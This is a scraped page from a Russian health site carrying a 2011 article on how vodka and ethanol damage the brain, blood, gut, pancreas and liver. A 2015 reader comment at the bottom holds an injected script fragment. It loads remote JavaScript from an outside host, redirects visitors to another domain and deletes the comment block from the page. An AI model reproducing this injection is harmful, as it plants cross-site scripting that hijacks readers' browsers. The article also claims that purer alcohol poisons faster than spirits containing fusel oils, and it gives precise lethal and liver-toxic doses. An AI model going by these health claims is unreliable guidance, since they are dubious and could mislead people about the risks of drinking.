Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Водка: разговор короткий  >>  Водка: разговор короткий
 
Обратная связь
 

Водка: разговор короткий

Размер шрифта
25 мая 2011 07:30
  • google_analytics: false
  • Нравится

В Российской Империи смерть от «опоя» (острой алкогольной интоксикации) регистрировалась в 3-5 раз чаще, чем в других европейских странах. С тех пор ничего не изменилось: по данным ВОЗ с начала 1990-х по начало 2000-х от проблем, связанных с злоупотреблением алкоголем, в России умерло более половины мужчин в возрасте от 15 до 54 лет. Всему виной наша национальная культура «пития» и национальный напиток – водка.

Екатерина Олейникова / «Здоровье-инфо»

Как известно, водка – напиток настоящих мужчин. Поэтому именно сильный пол от него погибает в первую очередь. В той же Англии (стране, где традиционно уважают эль, пиво и виски) средняя продолжительность жизни мужчин – 76 лет. А на наших просторах – всего 59.

О вреде крепкого алкоголя, и, прежде всего, водки, не говорит только ленивый. Однако мало кто знает, как влияет этанол на наш организм, какие процессы он запускает в нашем мозге, и что делает с клетками печени, крови, кишечника. Думаете, водка, прошедшая несколько ступеней очистки, безопасна? Ответ неверный. Безусловно, о вреде поддельной водки можно написать не одну статью, и не только на медицинском сайте, но и на сайте юридическом. Любой здравомыслящий человек откажется пить водку, если есть малейшие подозрения в ее чистоте. Никому не хочется травиться метиловым спиртом, этиленгликолем или дихлоэтаном. Зато многие с удовольствием опрокинут стопку-другую дорогой элитной водки, «прозрачной и чистой, как слеза», не задумываясь о том, что за время пути технологии производства сильно изменились. Современная водка в корне отличается от традиционного русского способа производства этого напитка.

В чем же разница? Нынешняя водка – это чистая водно-спиртовая смесь, спирт для которой получают при помощи ректификационных колонн. А традиционная русская водка выгонялась при помощи перегонных кубов и, по сути, представляла собой очищенный самогон. И, как оказалось, «чистая» водно-спиртовая смесь опаснее для здоровья, чем напитки, содержащие небольшие примеси сивушных масел – будь то виски, джин или деревенский первач.

Что отравляет в алкоголе? Основная причина отравления алкоголем – уксусный альдегид, который образуется в тканях организма и, прежде всего, в печени при распаде этанола. Этот уксусный альдегид и есть яд. Он токсичней этилового спирта в 30 раз. Чем чище алкоголь, тем быстрее уксусный альдегид окисляется в печени, и та не успевает переработать получаемое. Вот так и наступает отравление. Опыт, наглядно иллюстрирующий этот процесс, поставлен сегодня в передаче «Жить здорово». Именно так и наступает отравление. 

И напротив, напиток, содержащий примеси сивушных масел, распадается медленнее, и печень успевает выводить альдегид. Вот так и получается, что пресловутые 40 градусов приводят к тому, что водкой можно буквально «упиться до смерти». Смертельная доза для обычного человек – 400 грамм чистого спирта. Это около литра водки – что вполне по силам многим нашим согражданам. Согласитесь, в одиночку выпить несколько литров вина или ведро пива гораздо затруднительней.

Как чистый этанол влияет на организм? Этиловый спирт бьет без промаха, потому что его мишень – весь организм. Нет ни одного органа в теле, который бы безболезненно переносил влияние алкоголя.

  • Этанол стимулирует выработку гормона дофамина. Вы в эйфории и требуете все новых и новых доз. Уксусный альдегид, образующийся в тканях мозга, угнетает клеточное дыхание. При длительном употреблении вполне возможно уменьшение объема головного мозга, органические изменения и гибель нейронов коры головного мозга, разрыв капилляров. Разумеется, под ударом оказываются высшие формы мозговой деятельности восприятие и переработка внешней информации, критическое, логическое, ассоциативное мышление, память, ухудшается зрение, речь и координация движений.
  • В крови этанол разрушает эритроциты, что может привести к токсической гемолитической анемии и вызывать остановку сердца. А если пить более умеренно, то можно «отделаться» алкогольной кардиомиопатией и различного рода аритмиями.
  • Этанол повреждает механизмы регуляции уровня глюкозы в крови. Результат – гипогликемия.
  • В кишечнике и желудке этанол повреждает слизистую оболочку желудка и тонкого кишечника. В лучшем случае «выпивохе» грозит диарея – из-за нарушения всасывания воды и электролитов из тонкого кишечника. В самом худшем – некротизирующий панкреатит с нередким летальным исходом.
  • Чрезмерное употребление алкоголя повышает вероятность развития гастрита и язвы желудка, в отдаленном будущем – рак пищевода, желудка и прямой кишки.
  • В поджелудочной железе алкоголь подавляет выделение пищеварительных ферментов и угнетает процесс всасывания питательных веществ. Этанол повинен в гибели клеток, вырабатывающих инсулин, что неизбежно приводит к панкреатиту и диабету.
  • В печени этиловый спирт действует особо разрушительно, ведь именно его печень перерабатывает. Порог токсичности для этого органа – не больше 90 грамм чистого спирта в сутки. То есть примерно две стограммовые стопки. Дальше – необратимые процессы. Так что если вы гордитесь тем, что за столом перепиваете всех, это повод не радоваться, а как следует задуматься: вполне возможно, ваша печень уже находится на стадии алкогольной дистрофии, когда возрастает «устойчивость» к алкоголю. Дальше будет только хуже – предциррозная стадия, затем цирроз и некроз тканей печени. Возможно и жировое перерождение печени – алкогольный стеатогепатит.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:11

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Мифы об алкоголе   Что налить мужу перед постелью, чтобы вам было хорошо   Лучшая еда и напитки при похмелье   Этот сок – лучший для похмелья!  
11 апреля 2013Каждая 30-я смерть от рака из-за водки 27 июля 2011В Москве за полгода от запоев погибли более 1000 человек
 
05 июля 2011Алкоголизм вредит отношениям в семье 04 декабря 2012Ресвератрол не обладает полезным действием
 

Слайдшоу

1
Алкогольные напитки, которые заставят вас потолстеть!
Как выпить на диете и нормально отметить Новый год
Как студенческая жизнь влияет на здоровье

Тесты

1
Что вы знаете о печени?
Есть ли у вас остеопороз?
Что вы знаете о цистите?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.